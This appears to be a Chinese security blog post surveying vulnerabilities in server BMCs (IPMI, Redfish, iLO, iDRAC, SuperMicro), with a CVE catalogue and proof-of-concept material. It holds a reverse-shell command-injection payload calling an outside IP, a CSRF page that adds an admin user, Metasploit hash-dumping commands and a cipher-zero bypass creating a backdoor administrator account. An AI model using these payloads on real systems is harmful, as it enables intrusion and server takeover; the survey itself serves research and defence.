剛開始接觸 BMC 以為研究的人比較少,感覺一般人也沒有機(jī)會(huì)接觸到。尤其是服務(wù)器風(fēng)扇的聲音,一般人也不想去碰。去查了一下 CVE 之后,發(fā)現(xiàn)有不少漏洞,還挺多人玩的。近期也在研究這一塊,把 BMC 曾曝出的漏洞做個(gè)匯總,看看大佬們都有哪些奇妙的思路。
BMC (Baseboard Management Controller)即 基板管理控制器 ,提供 IPMI/Redfish 架構(gòu)中的智能特性。它是嵌入在計(jì)算機(jī)(通常是服務(wù)器)主板上的專用微控制器。 BMC負(fù)責(zé)管理系統(tǒng)管理軟件和平臺(tái)硬件之間的接口。用于計(jì)算機(jī)系統(tǒng)的帶外管理和管理員操作監(jiān)視。提供的服務(wù)包括服務(wù)器物理健康狀態(tài)檢測(cè),服務(wù)器軟硬件信息和運(yùn)行狀態(tài)查詢、開關(guān)機(jī)、遠(yuǎn)程安裝操作系統(tǒng)等。

有了BMC,運(yùn)維人員可以通過瀏覽器等遠(yuǎn)程控制服務(wù)器(下圖是HPE ILO后臺(tái)),比如開關(guān)機(jī)、裝系統(tǒng)、進(jìn)入服務(wù)器終端等,而不用跑到機(jī)房忍受高溫、令人崩潰的聲音。而我們搞安全的就不一樣,就"喜歡"聽(被迫,要連接串口線),都不用降噪耳機(jī)呢!

云服務(wù)器帶外管理
帶外管理是指遠(yuǎn)程客戶端通過網(wǎng)絡(luò)物理通道對(duì)服務(wù)器進(jìn)行控制管理和維護(hù)。常見的帶外管理接口有 IPMI 和 Redfish。
IPMI
1998年,由Intel和HP主推的IPMI標(biāo)準(zhǔn),引入了單獨(dú)的帶外管理芯片BMC。智能平臺(tái)管理接口(IPMI)是一套為自主計(jì)算機(jī)子系統(tǒng)定義的計(jì)算機(jī)接口規(guī)范,用于提供獨(dú)立于主機(jī)系統(tǒng)的CPU,固件(BIOS或UEFI)和操作系統(tǒng)等軟硬件的管理和監(jiān)視功能。 IPMI定義了一套系統(tǒng)管理員接口,格式統(tǒng)一格式,對(duì)下層透明,可以架構(gòu)在網(wǎng)絡(luò)、串行/Moderm接口、IPMB(I2C)、KCS、SMIC、SMBus等不同接口上。
IPMI也在 2015 年公布 2.0 v1.1標(biāo)準(zhǔn)后,停止更新維護(hù),被 RedFish 永久代替。為了做到兼容,現(xiàn)在不少服務(wù)器上仍然支持 IPMI。
IMPI規(guī)范主體架構(gòu)如下:

使用 IPMI 的 BMC系統(tǒng)如下所示:
IPMI 命令舉例
# 查看設(shè)備信息
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin chassis status
# 查看用戶
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin user list
# 服務(wù)器的開機(jī),關(guān)機(jī)
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power on
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power off
# 查看BMC的信息
/usr/bin/ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin mc info
Redfish
RedFish標(biāo)準(zhǔn)由DMTF組織的SPMF論壇維護(hù),它的提出者與 IPMI 的提出者幾乎一樣??梢哉f是下一代云服務(wù)器帶外管理接口。開發(fā)Redfish的主要原因之一是解決 IPMI 遺留的無法有效解決的安全需求。Redfish的第1版?zhèn)戎赜诜?wù)器,為IPMI - over - LAN提供了一個(gè)安全、多節(jié)點(diǎn)的替代品。隨后 的Redfish版本增加了對(duì)網(wǎng)絡(luò)接口(例如NIC、 CNA和FC HBA )、PCIe交換、本地存儲(chǔ)、 NVDIMM、多功能適配器和可組合性以及固 件更新服務(wù)、軟件更新推送方法和安全特權(quán)映射的管理。
Redfish 是一種基于 HTTPs 服務(wù)的管理標(biāo)準(zhǔn),利用 RESTful 接口實(shí)現(xiàn)設(shè)備管理。每個(gè) HTTPs 操作都以 UTF-8 編碼的JSON 的形式,提交或返回一個(gè)資源。就像 Web 應(yīng)用程序向?yàn)g覽器返回 HTML 一樣,RESTful 接口會(huì)通過同樣的傳輸機(jī)制(HTTPS),以JSON 的形式向客戶端返回?cái)?shù)據(jù),用于現(xiàn)有客戶端應(yīng)用程序和基于瀏覽 器的GUI。
API 舉例
在Redfish中,所有資源都是從服務(wù)入口點(diǎn)( root )鏈接的,服務(wù)入口點(diǎn)始終位于URL: /redfish/v1。添加用戶/redfish/v1/AccountService/Account:

含POC的漏洞(部分)
CVE-2020-21224:[浪潮 NF5266M5 Cluster Management System 命令注入]
用戶登錄頁面中的用戶和密碼字段存在命令注入漏洞。

后臺(tái)的處理代碼類似。
var1 = `grep xxxx`
var2 = $(python -c "from crypt import crypt;print crypt('$passwd','$1$$var1')")

發(fā)送 POST 消息實(shí)現(xiàn)反彈shell。
op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261`

CVE-2019-19642:[SuperMicro IPMI 命令注入]
基于IPMI 的虛擬媒體服務(wù)存在命令注入漏洞,ShareHost 、ShareName、PathToimg 等參數(shù)均存在命令注入問題,可以使用反引號(hào) "`" 注入任意命令。

CVE-2020-15046 : [SuperMicro IPMI 03.40 - CSRF(添加管理員用戶)]
CSRF 添加管理員用戶 PoC :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
<input type="hidden" name="username" value="JOKER" />
<input type="hidden" name="original_username" value="2" />
<input type="hidden" name="password" value="onebadday" />
<input type="hidden" name="new_privilege" value="4" />
<input type="submit" value="submit request" />
</form>
CVE-2018-7117: [HPE iLO5 XSS]
HPE iLO5 Web 后臺(tái) DHCP 選項(xiàng) 15domain name 未轉(zhuǎn)移特殊字符,造成了XSS。

[CVE-2017-12542][0]: HPE ILO4 認(rèn)證繞過
在訪問 https://127.0.0.1:8443/rest/v1/AccountService/Accounts 時(shí),在HTTP頭的Connection中添加大于等于29個(gè)字符后,即可繞過驗(yàn)證(下圖為成功獲取到目標(biāo)的iLO登錄用戶名):

CVE-2014-8272:[Dell iDRAC IPMI 1.5 - Session ID 隨機(jī)化問題可被預(yù)測(cè)]
iDRAC 的 session 格式為 0x0200XXYY。三四字節(jié) 0x0200 代表 iDRAC 支持的 IPMI 的版本。第一個(gè)字節(jié) YY 的取值范圍在 0x00~03,表示會(huì)話ID,意味著多點(diǎn)登錄的數(shù)量不能超過4個(gè)。第二個(gè)字節(jié) XX,在激活階段使用臨時(shí)會(huì)話ID后會(huì)+1。0x00 具備特殊含義,剩下 28- 1 種可能,從 0x01 ~ 0xFF。
利用:
使用任意賬戶發(fā)送 “Get Session Challenge” 請(qǐng)求獲取當(dāng)前的臨時(shí)會(huì)話 ID。
使用下一個(gè)會(huì)話 ID 構(gòu)造 IPMI 命令,這個(gè)會(huì)話 ID 是臨時(shí)ID+3。
重復(fù)發(fā)送構(gòu)造的請(qǐng)求,注入到下一個(gè)會(huì)話中。
POC: [exploit-db][1]
Supermicro IPMI 密碼泄露
SuperMicro老版本在49152放置了明文密碼文件。攻擊者可以通過請(qǐng)求服務(wù)器49152端口的 /PSBlock 文件,就可得到80端口web管理界面的密碼,密碼放在PSBlock文件中。
IPMI 接口漏洞
IPMI(Intelligent PlatformManagement Interface)智能平臺(tái)管理接口,原本是一種Intel架構(gòu)的企業(yè)系統(tǒng)的周邊設(shè)備所采用的一種工業(yè)標(biāo)準(zhǔn)。IPMI亦是一個(gè)開放的免費(fèi)標(biāo)準(zhǔn),用戶無需支付額外的費(fèi)用即可使用此標(biāo)準(zhǔn)。
IPMI 能夠橫跨不同的操作系統(tǒng)、固件和硬件平臺(tái),可以智能的監(jiān)視、控制和自動(dòng)回報(bào)大量服務(wù)器的運(yùn)行狀況,以降低服務(wù)器系統(tǒng)成本。IPMI基于UDP協(xié)議進(jìn)行傳輸,基于該協(xié)議建立的遠(yuǎn)程管理控制服務(wù),默認(rèn)綁定在623端口。
- 大部分設(shè)備都存在默認(rèn)賬號(hào)和

- [CVE-2013-4786][3]:IPMI 2.0 RAKP 密碼哈希泄露
在IPMI RAKP 消息 2 回復(fù)中包含獲得 HMAC,通過本地爆破可以得到密碼。
$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.8.117 chassis identify
[...]
Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496
[...]
Metasploit 提供了掃描模塊 auxiliary/scanner/ipmi/ipmi_dumphashes。
msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256
msf auxiliary(ipmi_dumphashes) > run
[ ] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b
[ ] 10.0.0.59 Hash for user 'root' matches password 'calvin'
[ ] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c0
[ ] 10.0.0.59 Hash for user '' matches password 'admin'
- [ipmicipherzero][4]
遠(yuǎn)程攻擊者可通過使用密碼套件0(又名cipher zero)和任意的密碼,利用該漏洞繞過身份認(rèn)證,執(zhí)行任意IPMI命令。IPMI 2.0使用cipher zero加密組件時(shí),攻擊者只需要知道一個(gè)有效的用戶名就可以接管IPMI的功能。
正常狀態(tài)下,提供錯(cuò)誤的賬戶是不能建立會(huì)話的。
$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP session
Get User Access command failed (channel 14, user 1)
添加 -C 0 選項(xiàng),使用 cipher 0 了繞過認(rèn)證。
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 (Empty User) true false false NO ACCESS
添加一個(gè)后門賬戶。
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 Administrator true false true ADMINISTRATOR
2 backdoor true false true ADMINISTRATOR
$ ssh backdoor@10.0.0.99
backdoor@10.0.0.99's password: password
User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at Nov 08 2012
Server Name: host is unnamed
Server Power: On
</>hpiLO->
漏洞列表(部分)
BMC 存在的漏洞以 Web 后臺(tái)管理的居多,ipmi、redfish 等管理接口也有不少的問題。暴露的漏洞種類繁多,出現(xiàn)的漏洞類型如下,并列舉了部分案例。 總體來看命令注入、認(rèn)證繞過、越權(quán)以及信息泄露這四種占比較大,威脅系數(shù)也屬于最高。
- XSS
- CVE-2019-11216: 惠普 iLO5 XSS 漏洞。
- CVE-2019-6159: IBM System x IMM XSS 漏洞。
- CSRF
- CVE-2020-15046: SuperMicro IPMI 03.40 可利用 CSRF 添加管理員用戶。
- 命令注入
- CVE-2020-21224 : 浪潮 NF5266M5 Cluster Management System 命令注入。
- CVE-2019-1885: 思科 Integrated Management Controller (IMC) 由于校驗(yàn)不足,導(dǎo)致可通過 redfish 執(zhí)行任意命令。
- CVE-2019-19642: SuperMicro IPMI 基于IPMI 的虛擬媒體服務(wù)存在命令注入漏洞。
- CVE-2018-9086: Lenovo ThinkServer-branded 服務(wù)器固件下載命令存在命令注入漏洞,允許授權(quán)用戶下載任意代碼執(zhí)行。
- 越權(quán)
- CVE-2018-15774:戴爾 EMC iDRAC 校驗(yàn)不足導(dǎo)致,普通用戶可通過 redfish 提升至管理員權(quán)限。
- CVE-2018-7950/CVE-2018-7951 華為 iBMC JSON 注入修改管理員密碼提升至管理員權(quán)限。
- CVE-2018-7949 : 華為 iBMC 登錄功能存在缺陷,低權(quán)限用戶可獲得以及修改管理員密碼。
- CVE-2018-7941: 華為 iBMC 低權(quán)限用戶通過上傳證書提升至管理員權(quán)限。
- CVE-2017-17323:華為 iBMC 低權(quán)限用戶可訪問高權(quán)限用戶才能訪問的頁面。
- 認(rèn)證繞過
- CVE-2018-1668: IBM DataPower Gateway 允許使用 "null" 登錄,能夠讀取 IPMI 的敏感數(shù)據(jù)。
- CVE-2017-12542: HPE iLO5 認(rèn)證繞過漏洞。
- CVE-2013-4784: HP iLO 任意密碼繞過, 利用 IPMI cipher 0。
- CVE-2014-8272: IPMI 1.5會(huì)話ID隨機(jī)性不足。
- CVE-2013-4782: Supermicro 身份驗(yàn)證繞過導(dǎo)致任意代碼執(zhí)行。
- CVE-2013-4783: Dell iDRAC6 身份驗(yàn)證繞過導(dǎo)致任意代碼執(zhí)行。
- 加密算法強(qiáng)度不足
- CVE-2016-6899:華為 iBMC 包含了弱加密算法,攻擊者能夠解密加密的數(shù)據(jù),導(dǎo)致信息泄露。
- 拒絕服務(wù)
- CVE-2016-6900: 華為 iBMC 資源消耗漏洞,造成拒絕服務(wù)漏洞。
- 緩沖區(qū)溢出
- CVE-2021-29202: HPE iLO4/5 緩沖區(qū)溢出漏洞。
- CVE-2013-3623: Supermicrocgi/close_window.cgi緩沖區(qū)溢出任意命令執(zhí)行。
- CVE-2013-3622: Supermicro logout.cgi緩沖區(qū)溢出任意命令執(zhí)行
- 信息泄露:管理員憑證、任意文件下載、API接口
- CVE-2020-14156: openbmc 信息泄露,任何使用 SSH、SCP 訪問 MBC 的用戶都能去讀 /etc/ipmi_pass文件,解碼認(rèn)證憑證后能越權(quán)到其他用戶。
- CVE-2014-0860: IBM BladeCenter高級(jí)管理模塊IPMI明文憑證泄漏。
- CVE-2013-4786: IPMI2.0離線密碼爆破漏洞。
- CVE-2013-4037: IBM IPMI明文憑證泄漏。
- CVE-2013-4037: IPMI 密碼哈希值泄漏漏洞。
- 硬編碼:
- CVE-2013-4031: IPMI用戶默認(rèn)賬號(hào)登錄漏洞。
- 邏輯漏洞:
- CVE-2020-26122:浪潮 NF5266M5 服務(wù)器固件更新驗(yàn)證脆弱,向固件包中插入惡意代碼可獲取系統(tǒng)控制權(quán)。
- CVE-2019-4169: IBM Open Power Firmware OP910 and OP920 密碼更改后原密碼不失效。
- CVE-2019-6161: ThinkAgile CP-SB 會(huì)話可被重用。
參考
- [基于IPMI協(xié)議的DDoS反射攻擊分析][0]
- [IPMI相關(guān)漏洞利用及WEB端默認(rèn)口令登錄漏洞][1]
- [服務(wù)器BMC技術(shù)調(diào)研][2]
- [服務(wù)器基板管理控制器(BMC)帶外管理功能和性能要求][3]
- [CVE-2017-12542簡(jiǎn)單分析及復(fù)現(xiàn)][4]
- [ClusterEngineV4.0 Vul][5]
- [SuperMicro IPMI Exploitation][6]
- [CVE-2014-8272: A Case of Weak Session-ID in Dell iDRAC][7]
- [A Penetration Tester's Guide to IPMI and BMCs][8]
- [Supermicro IPMI Firmware Vulnerabilities][9]
- [623/UDP/TCP - IPMI - HackTricks][10]
- [Cracking IPMI Passwords Remotely][11]
- [The Infamous Cipher Zero][12]